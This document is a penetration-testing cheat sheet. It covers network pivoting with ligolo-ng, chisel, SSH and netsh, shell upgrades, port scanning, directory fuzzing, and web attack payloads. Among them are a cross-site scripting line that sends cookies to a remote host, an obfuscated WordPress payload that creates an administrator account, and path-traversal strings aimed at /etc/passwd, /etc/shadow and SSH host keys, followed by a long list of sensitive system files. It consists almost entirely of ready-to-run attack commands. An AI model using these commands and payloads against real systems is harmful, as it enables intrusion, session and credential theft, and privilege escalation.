sudo ip tuntap add user $(whoami) mode tun ligolo

sudo ip link set ligolo up

Setup Proxy on Attacker Machine

./proxy -laddr <LHOST>:443 -selfcert

Setup Agent on Target Machine

./agent -connect <LHOST>:443 -ignore-cert

Configure Session

ligolo-ng » session

[Agent : user@target] » ifconfig

sudo ip r add 172.16.1.0/24 dev ligolo

[Agent : user@target] » start

Port Forwarding

[Agent : user@target] » listener_add --addr <RHOST>:<LPORT> --to <LHOST>:<LPORT> --tcp

Linux

CentOS

doas -u <USERNAME> /bin/sh

Environment Variables

export PATH=`pwd`:$PATH

gcc

gcc (--static) -m32 -Wl,--hash-style=both exploit.c -o exploit
i686-w64-mingw32-gcc -o main32.exe main.c
x86_64-w64-mingw32-gcc -o main64.exe main.c

getfacl

getfacl <LOCAL_DIRECTORY>

iconv

echo "<COMMAND>" | iconv -t UTF-16LE | base64 -w 0
echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0
iconv -f ASCII -t UTF-16LE <FILE>.txt | base64 | tr -d "\n"

vi

:w !sudo tee %    # save file with elevated privileges without exiting

Windows Command Formatting

echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0

Microsoft Windows

dir

dir /a
dir /a:d
dir /a:h
dir flag* /s /p
dir /s /b *.log

PHP Webserver

sudo php -S 127.0.0.1:80

Ping

ping -c 1 <RHOST>
ping -n 1 <RHOST>

Port Forwarding

Chisel

System	IP address
LHOST	192.168.50.10
APPLICATION SERVER	192.168.100.10
DATABASE SERVER	10.10.100.20
WINDOWS HOST	172.16.50.10

Reverse Pivot

LHOST < APPLICATION SERVER

LHOST

./chisel server -p 9002 -reverse -v

APPLICATION SERVER

./chisel client 192.168.50.10:9002 R:3000:127.0.0.1:3000

SOCKS5 / Proxychains Configuration

LHOST > APPLICATION SERVER > NETWORK

LHOST

./chisel server -p 9002 -reverse -v

APPLICATION SERVER

./chisel client 192.168.50.10:9002 R:socks

Ligolo-ng

https://github.com/nicocha30/ligolo-ng

System	IP address
LHOST	192.168.50.10
APPLICATION SERVER	192.168.100.10
DATABASE SERVER	10.10.100.20
WINDOWS HOST	172.16.50.10

LHOST > APPLICATION SERVER > NETWORK

Download Proxy and Agent

https://github.com/nicocha30/ligolo-ng/releases

wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.6.2/ligolo-ng_agent_0.6.2_Linux_64bit.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.6.2/ligolo-ng_proxy_0.6.2_Linux_64bit.tar.gz

Prepare Tunnel Interface

sudo ip tuntap add user $(whoami) mode tun ligolo

sudo ip link set ligolo up

Setup Proxy on LHOST

./proxy -laddr 192.168.50.10:443 -selfcert

Setup Agent on APPLICATION SERVER

./agent -connect 192.168.50.10:443 -ignore-cert

Configure Session

ligolo-ng » session

[Agent : user@target] » ifconfig

sudo ip r add 172.16.50.0/24 dev ligolo

[Agent : user@target] » start

Port Forwarding

LHOST < APPLICATION SERVER > DATABASE SERVER

[Agent : user@target] » listener_add --addr 10.10.100.20:2345 --to 192.168.50.10:2345 --tcp

Socat

System	IP address
LHOST	192.168.50.10
APPLICATION SERVER	192.168.100.10
DATABASE SERVER	10.10.100.20
WINDOWS HOST	172.16.50.10

LHOST > APPLICATION SERVER > DATABASE SERVER

APPLICATION SERVER

ip a
ip r
socat -ddd TCP-LISTEN:2345,fork TCP:<RHOST>:5432

LHOST

psql -h <RHOST> -p 2342 -U postgres

SSH Tunneling

Local Port Forwarding

System	IP address
LHOST	192.168.50.10
APPLICATION SERVER	192.168.100.10
DATABASE SERVER	10.10.100.20
WINDOWS HOST	172.16.50.10

LHOST > APPLICATION SERVER > DATABASE SERVER > WINDOWS HOST

APPLICATION SERVER

python3 -c 'import pty;pty.spawn("/bin/bash")'
ssh <USERNAME>@192.168.100.10
ip a
ip r
for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445;
ssh -N -L 0.0.0.0:4455:172.16.50.10:445 <USERNAME>@10.10.100.20

LHOST

smbclient -p 4455 //172.16.50.10/<SHARE> -U <USERNAME> --password=<PASSWORD>

Dynamic Port Forwarding

System	IP address
LHOST	192.168.50.10
APPLICATION SERVER	192.168.100.10
DATABASE SERVER	10.10.100.20
WINDOWS HOST	172.16.50.10

LHOST > APPLICATION SERVER > DATABASE SERVER > WINDOWS HOST

APPLICATION SERVER

python3 -c 'import pty;pty.spawn("/bin/bash")'
ssh -N -D 0.0.0.0:9999 <USERNAME>@10.10.100.20

LHOST

sudo ss -tulpn
tail /etc/proxychains4.conf
socks5 192.168.50.10 9999
proxychains smbclient -p 4455 //172.16.50.10/<SHARE> -U <USERNAME> --password=<PASSWORD>

Remote Port Forwarding

System	IP address
LHOST	192.168.50.10
APPLICATION SERVER	192.168.100.10
DATABASE SERVER	10.10.100.20
WINDOWS HOST	172.16.50.10

LHOST <-> FIREWALL <-> APPLICATION SERVER > DATABASE SERVER > WINDOWS HOST

LHOST

sudo systemctl start ssh
sudo ss -tulpn

APPLICATION SERVER

python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh -N -R 127.0.0.1:2345:10.10.100.20:5432 <USERNAME>@192.168.50.10

LHOST

psql -h 127.0.0.1 -p 2345 -U postgres

Remote Dynamic Port Forwarding

System	IP address
LHOST	192.168.50.10
APPLICATION SERVER	192.168.100.10
DATABASE SERVER	10.10.100.20
WINDOWS HOST	172.16.50.10

LHOST < FIREWALL < APPLICATION SERVER > NETWORK

APPLICATION SERVER

python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh -N -R 9998 <USERNAME>@192.168.50.10

LHOST

sudo ss -tulpn
tail /etc/proxychains4.conf
socks5 127.0.0.1 9998
proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.10.100.20

sshuttle

System	IP address
LHOST	192.168.50.10
APPLICATION SERVER	192.168.100.10
DATABASE SERVER	10.10.100.20
WINDOWS HOST	172.16.50.10

LHOST > APPLICATION SERVER > NETWORK

APPLICATION SERVER

socat TCP-LISTEN:2222,fork TCP:10.10.100.20:22

LHOST

sshuttle -r <USERNAME>@192.168.100.10:2222 10.10.100.0/24 172.16.50.0/24
smbclient -L //172.16.50.10/ -U <USERNAME> --password=<PASSWORD>

ssh.exe

System	IP address
LHOST	192.168.50.10
APPLICATION SERVER	192.168.100.10
WINDOWS JUMP SERVER	192.168.100.20
DATABASE SERVER	10.10.100.20
WINDOWS HOST	172.16.50.10

LHOST < FIREWALL < WINDOWS JUMP SERVER > NETWORK

LHOST

sudo systemctl start ssh
xfreerdp /u:<USERNAME> /p:<PASSWORD> /v:192.168.100.20

WINDOWS JUMP SERVER

where ssh
C:\Windows\System32\OpenSSH\ssh.exe
C:\Windows\System32\OpenSSH> ssh -N -R 9998 <USERNAME>@192.168.50.10

LHOST

ss -tulpn
tail /etc/proxychains4.conf
socks5 127.0.0.1 9998
proxychains psql -h 10.10.100.20 -U postgres

Plink

System	IP address
LHOST	192.168.50.10
APPLICATION SERVER	192.168.100.10
WINDOWS JUMP SERVER	192.168.100.20
DATABASE SERVER	10.10.100.20
WINDOWS HOST	172.16.50.10

LHOST < FIREWALL < WINDOWS JUMP SERVER

LHOST

find / -name plink.exe 2>/dev/null
/usr/share/windows-resources/binaries/plink.exe

WINDOWS JUMP SERVER

plink.exe -ssh -l <USERNAME> -pw <PASSWORD> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.50.10

LHOST

ss -tulpn
xfreerdp /u:<USERNAME> /p:<PASSWORD> /v:127.0.0.1:9833

Netsh

System	IP address
LHOST	192.168.50.10
APPLICATION SERVER	192.168.100.10
WINDOWS JUMP SERVER	192.168.100.20
DATABASE SERVER	10.10.100.20
WINDOWS HOST	172.16.50.10

LHOST < FIREWALL < WINDOWS JUMP SERVER > DATABASE SERVER

LHOST

xfreerdp /u:<USERNAME> /p:<PASSWORD> /v:192.168.100.20

WINDOWS JUMP SERVER

netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.50.10 connectport=22 connectaddress=10.10.100.20
netstat -anp TCP | findstr "2222"
netsh interface portproxy show all
netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.50.10 localport=2222 action=allow

LHOST

sudo nmap -sS 192.168.50.10 -Pn -n -p2222
ssh database_admin@192.168.50.10 -p2222

WINDOWS JUMP SERVER

netsh advfirewall firewall delete rule name="port_forward_ssh_2222"
netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.10

Python Webserver

sudo python -m SimpleHTTPServer 80
sudo python3 -m http.server 80

RDP

xfreerdp /v:<RHOST> /u:<USERNAME> /p:<PASSWORD> /cert-ignore
xfreerdp /v:<RHOST> /u:<USERNAME> /p:<PASSWORD> /d:<DOMAIN> /cert-ignore
xfreerdp /v:<RHOST> /u:<USERNAME> /p:<PASSWORD> /dynamic-resolution +clipboard
xfreerdp /v:<RHOST> /u:<USERNAME> /d:<DOMAIN> /pth:'<HASH>' /dynamic-resolution +clipboard
xfreerdp /v:<RHOST> /dynamic-resolution +clipboard /tls-seclevel:0 -sec-nla
rdesktop <RHOST>

showmount

/usr/sbin/showmount -e <RHOST>
sudo showmount -e <RHOST>
chown root:root sid-shell; chmod +s sid-shell

SMB

mount.cifs //<RHOST>/<SHARE> /mnt/remote
guestmount --add '/<MOUNTPOINT>/<DIRECTORY/FILE>' --inspector --ro /mnt/<MOUNT> -v

smbclient

smbclient -L \\<RHOST>\ -N
smbclient -L //<RHOST>/ -N
smbclient -L ////<RHOST>/ -N
smbclient -L //<RHOST>// -U <USERNAME>%<PASSWORD>
smbclient -U "<USERNAME>" -L \\\\<RHOST>\\
smbclient //<RHOST>/<SHARE>
smbclient //<RHOST>/<SHARE> -U <USERNAME>
smbclient //<RHOST>/SYSVOL -U <USERNAME>%<PASSWORD>
smbclient "\\\\<RHOST>\<SHARE>"
smbclient \\\\<RHOST>\\<SHARE> -U '<USERNAME>' --socket-options='TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=131072 SO_SNDBUF=131072' -t 40000
smbclient --no-pass //<RHOST>/<SHARE>

Download multiple files at once

mask""
recurse ON
prompt OFF
mget *

SSH

ssh user@<RHOST> -oKexAlgorithms=+diffie-hellman-group1-sha1

Time and Date

Get the Server Time

sudo nmap -sU -p 123 --script ntp-info <RHOST>

Stop virtualbox-guest-utils to stop syncing Time

sudo /etc/init.d/virtualbox-guest-utils stop

Stop systemd-timesyncd to sync Time manually

sudo systemctl stop systemd-timesyncd

Disable automatic Sync

sudo systemctl disable --now chronyd

Options to set the Date and Time

sudo net time -c <RHOST>
sudo net time set -S <RHOST>
sudo net time \\<RHOST> /set /y
sudo ntpdate <RHOST>
sudo ntpdate -s <RHOST>
sudo ntpdate -b -u <RHOST>
sudo timedatectl set-timezone UTC
sudo timedatectl list-timezones
sudo timedatectl set-timezone '<COUNTRY>/<CITY>'
sudo timedatectl set-time 15:58:30
sudo timedatectl set-time '2015-11-20 16:14:50'
sudo timedatectl set-local-rtc 1

Keep in Sync with a Server

while [ 1 ]; do sudo ntpdate <RHOST>;done

Tmux

ctrl b + w    # show windows
ctrl + "      # split window horizontal
ctrl + %      # split window vertical
ctrl + ,      # rename window
ctrl + {      # flip window
ctrl + }      # flip window
ctrl + spacebar    # switch pane layout

Copy & Paste

:setw -g mode-keys vi
ctrl b + [
space
enter
ctrl b + ]

Search

ctrl b + [    # enter copy
ctrl + /      # enter search while within copy mode for vi mode
n             # search next
shift + n     # reverse search

Logging

ctrl b
shift + P    # start / stop

Save Output

ctrl b + :
capture-pane -S -
ctrl b + :
save-buffer <FILE>.txt

Upgrading Shells

python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'

ctrl + z
stty raw -echo
fg
Enter
Enter
export XTERM=xterm

or

Ctrl + z
stty -a
stty raw -echo;fg
Enter
Enter
stty rows 37 cols 123
export TERM=xterm-256color
bash

Alternatively:

script -q /dev/null -c bash
/usr/bin/script -qc /bin/bash /dev/null

Oneliner

stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Fixing Staircase Effect

env reset

or

stty onlcr

VirtualBox

sudo pkill VBoxClient && VBoxClient --clipboard

virtualenv

sudo apt-get install virtualenv
virtualenv -p python2.7 venv
. venv/bin/activate

python.exe -m pip install virtualenv
python.exe -m virtualenv venv
venv\Scripts\activate

Information Gathering

memcached

https://github.com/pd4d10/memcached-cli

memcrashed / 11211/UDP

npm install -g memcached-cli
memcached-cli <USERNAME>:<PASSWORD>@<RHOST>:11211
echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc -q1 -u 127.0.0.1 11211

STAT pid 21357
STAT uptime 41557034
STAT time 1519734962

sudo nmap <RHOST> -p 11211 -sU -sS --script memcached-info

stats items
stats cachedump 1 0
get link
get file
get user
get passwd
get account
get username
get password

NetBIOS

nbtscan <RHOST>
nmblookup -A <RHOST>

Nmap

sudo nmap -A -T4 -sC -sV -p- <RHOST>
sudo nmap -sV -sU <RHOST>
sudo nmap -A -T4 -sC -sV --script vuln <RHOST>
sudo nmap -A -T4 -p- -sS -sV -oN initial --script discovery <RHOST>
sudo nmap -sC -sV -p- --scan-delay 5s <RHOST>
sudo nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test' <RHOST>
ls -lh /usr/share/nmap/scripts/*ssh*
locate -r '\.nse$' | xargs grep categories | grep categories | grep 'default\|version\|safe' | grep smb

Port Scanning

for p in {1..65535}; do nc -vn <RHOST> $p -w 1 -z & done 2> <FILE>.txt

export ip=<RHOST>; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port && echo The port $port is open || echo The Port $port is closed > /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; done

snmpwalk

snmpwalk -c public -v1 <RHOST>
snmpwalk -v2c -c public <RHOST> 1.3.6.1.2.1.4.34.1.3
snmpwalk -v2c -c public <RHOST> .1
snmpwalk -v2c -c public <RHOST> nsExtendObjects
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.25
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.25.4.2.1.2
snmpwalk -c public -v1 <RHOST> .1.3.6.1.2.1.1.5
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.3.1.1
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.27
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.6.13.1.3
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.25.6.3.1.2

Web Application Analysis

Burp Suite

Ctrl+r          // Sending request to repeater
Ctrl+i          // Sending request to intruder
Ctrl+Shift+b    // base64 encoding
Ctrl+Shift+u    // URL decoding

Set Proxy Environment Variables

export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=https://localhost:8080

cadaver

cadaver http://<RHOST>/<WEBDAV_DIRECTORY>/

dav:/<WEBDAV_DIRECTORY>/> cd C
dav:/<WEBDAV_DIRECTORY>/C/> ls
dav:/<WEBDAV_DIRECTORY>/C/> put <FILE>

Cross-Site Scripting (XSS)

<sCrIpt>alert(1)</ScRipt>
<script>alert('XSS');</script>
<script>alert(document.cookies)</script>
<script>document.querySelector('#foobar-title').textContent = '<TEXT>'</script>
<script>fetch('https://<RHOST>/steal?cookie=' + btoa(document.cookie));</script>
<script>user.changeEmail('user@domain');</script>
<iframe src=file:///etc/passwd height=1000px width=1000px></iframe>
<img src='http://<RHOST>'/>

XSS client-Side Attack

Request Example

<a href="https://<RHOST>/send_btc?account=<USERNAME>&amount=100000"">foobar!</a>

Get nonce

var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];

Update Payload Script

var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=<USERNAME>&email=<EMAIL>&pass1=<PASSWORD>&pass2=<PASSWORD>&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);

Compress Payload Script

https://jscompress.com/

var params="action=createuser&_wpnonce_create-user="+nonce+"&user_login=<USERNAME>&email=<EMAIL>&pass1=<PASSWORD>&pass2=<PASSWORD>&role=administrator";ajaxRequest=new XMLHttpRequest,ajaxRequest.open("POST",requestURL,!0),ajaxRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),ajaxRequest.send(params);

Encoding Function

function encode_to_javascript(string) {
            var input = string
            var output = '';
            for(pos = 0; pos < input.length; pos++) {
                output += input.charCodeAt(pos);
                if(pos != (input.length - 1)) {
                    output += ",";
                }
            }
            return output;
        }
        
let encoded = encode_to_javascript('var params="action=createuser&_wpnonce_create-user="+nonce+"&user_login=<USERNAME>&email=<EMAIL>&pass1=<PASSWORD>&pass2=<PASSWORD>&role=administrator";ajaxRequest=new XMLHttpRequest,ajaxRequest.open("POST",requestURL,!0),ajaxRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),ajaxRequest.send(params);')
console.log(encoded)

Encoded Payload

118,97,114,32,112,97,114,97,109,115,61,34,97,99,116,105,111,110,61,99,114,101,97,116,101,117,115,101,114,38,95,119,112,110,111,110,99,101,95,99,114,101,97,116,101,45,117,115,101,114,61,34,43,110,111,110,99,101,43,34,38,117,115,101,114,95,108,111,103,105,110,61,60,85,83,69,82,78,65,77,69,62,38,101,109,97,105,108,61,60,69,77,65,73,76,62,38,112,97,115,115,49,61,60,80,65,83,83,87,79,82,68,62,38,112,97,115,115,50,61,60,80,65,83,83,87,79,82,68,62,38,114,111,108,101,61,97,100,109,105,110,105,115,116,114,97,116,111,114,34,59,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,97,106,97,120,82,101,113,117,101,115,116,46,111,112,101,110,40,34,80,79,83,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,48,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,84,121,112,101,34,44,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,112,97,114,97,109,115,41,59 debugger eval code:14:9

Execution

curl -i http://<RHOST> --user-agent "<script>eval(String.fromCharCode(118,97,114,32,112,97,114,97,109,115,61,34,97,99,116,105,111,110,61,99,114,101,97,116,101,117,115,101,114,38,95,119,112,110,111,110,99,101,95,99,114,101,97,116,101,45,117,115,101,114,61,34,43,110,111,110,99,101,43,34,38,117,115,101,114,95,108,111,103,105,110,61,60,85,83,69,82,78,65,77,69,62,38,101,109,97,105,108,61,60,69,77,65,73,76,62,38,112,97,115,115,49,61,60,80,65,83,83,87,79,82,68,62,38,112,97,115,115,50,61,60,80,65,83,83,87,79,82,68,62,38,114,111,108,101,61,97,100,109,105,110,105,115,116,114,97,116,111,114,34,59,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,97,106,97,120,82,101,113,117,101,115,116,46,111,112,101,110,40,34,80,79,83,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,48,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,84,121,112,101,34,44,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,112,97,114,97,109,115,41,59 debugger eval code:14:9
))</script>" --proxy 127.0.0.1:8080

ffuf

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ --fs <NUMBER> -mc all
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ --fw <NUMBER> -mc all
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ -mc 200,204,301,302,307,401 -o results.txt
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://<RHOST>/ -H "Host: FUZZ.<RHOST>" -fs 185
ffuf -c -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -u http://<RHOST>/backups/backup_2020070416FUZZ.zip

API Fuzzing

ffuf -u https://<RHOST>/api/v2/FUZZ -w api_seen_in_wild.txt -c -ac -t 250 -fc 400,404,412

Searching for LFI

ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://<RHOST>/admin../admin_staging/index.php?page=FUZZ -fs 15349

Fuzzing with PHP Session ID

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt  -u "https://<RHOST>/admin/FUZZ.php" -b "PHPSESSID=a0mjo6ukbkq271nb2rkb1joamp" -fw 2644

Recursion

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/basic/FUZZ -recursion

File Extensions

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/ext/logs/FUZZ -e .log

Rate Limiting

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 5 -p 0.1 -u http://<RHOST>/cd/rate/FUZZ -mc 200,429

Virtual Host Discovery

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -fs 1495

Massive File Extension Discovery

ffuf -w /opt/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://<RHOST>/FUZZ -t 30 -c -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -mc 200,204,301,302,307,401,403,500 -ic -e .7z,.action,.ashx,.asp,.aspx,.backup,.bak,.bz,.c,.cgi,.conf,.config,.dat,.db,.dhtml,.do,.doc,.docm,.docx,.dot,.dotm,.go,.htm,.html,.ini,.jar,.java,.js,.js.map,.json,.jsp,.jsp.source,.jspx,.jsx,.log,.old,.pdb,.pdf,.phtm,.phtml,.pl,.py,.pyc,.pyz,.rar,.rhtml,.shtm,.shtml,.sql,.sqlite3,.svc,.tar,.tar.bz2,.tar.gz,.tsx,.txt,.wsdl,.xhtm,.xhtml,.xls,.xlsm,.xlst,.xlsx,.xltm,.xml,.zip

GitTools

./gitdumper.sh http://<RHOST>/.git/ /PATH/TO/FOLDER
./extractor.sh /PATH/TO/FOLDER/ /PATH/TO/FOLDER/

Gobuster

-e    // extended mode that renders the full url
-k    // skip ssl certificate validation
-r    // follow cedirects
-s    // status codes
-b    // exclude status codes
-k            // ignore certificates
--wildcard    // set wildcard option

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>/ -x php
$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://<RHOST>/ -x php,txt,html,js -e -s 200
$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u https://<RHOST>:<RPORT>/ -b 200 -k --wildcard

Common File Extensions

txt,bak,php,html,js,asp,aspx

Common Picture Extensions

png,jpg,jpeg,gif,bmp

POST Requests

gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://<RHOST>/api/ -e -s 200

DNS Recon

gobuster dns -d <RHOST> -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
gobuster dns -d <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt

VHost Discovery

gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

Specifiy User Agent

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/ -a Linux

Local File Inclusion (LFI)

http://<RHOST>/<FILE>.php?file=
http://<RHOST>/<FILE>.php?file=../../../../../../../../etc/passwd
http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd

Until php 5.3

http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd%00

Null Byte

%00
0x00

Encoded Traversal Strings

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
...\.\

php:https://filter Wrapper

https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phpfilter

url=php://filter/convert.base64-encode/resource=file:https:////var/www/<RHOST>/api.php

http://<RHOST>/index.php?page=php:https://filter/convert.base64-encode/resource=index
http://<RHOST>/index.php?page=php:https://filter/convert.base64-encode/resource=/etc/passwd
base64 -d <FILE>.php

Django, Rails, or Node.js Web Application Header Values

Accept: ../../../../.././../../../../etc/passwd{{
Accept: ../../../../.././../../../../etc/passwd{%0D
Accept: ../../../../.././../../../../etc/passwd{%0A
Accept: ../../../../.././../../../../etc/passwd{%00
Accept: ../../../../.././../../../../etc/passwd{%0D{{
Accept: ../../../../.././../../../../etc/passwd{%0A{{
Accept: ../../../../.././../../../../etc/passwd{%00{{

Linux Files

/app/etc/local.xml
/etc/passwd
/etc/shadow
/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/at.allow
/etc/at.deny
/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports
/etc/fstab
/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts
/etc/groups
/etc/grub.conf
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/knockd.conf
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd
/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftp.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
/opt/xampp/etc/php.ini
/proc/cmdline
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/<PID>/cmdline
/proc/<PID>/maps
/proc/sched_debug
/proc/self/cwd/app.py
/proc/self/environ
/proc/self/net/arp
/proc/stat
/proc/swaps
/proc/version
/root/anaconda-ks.cfg
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
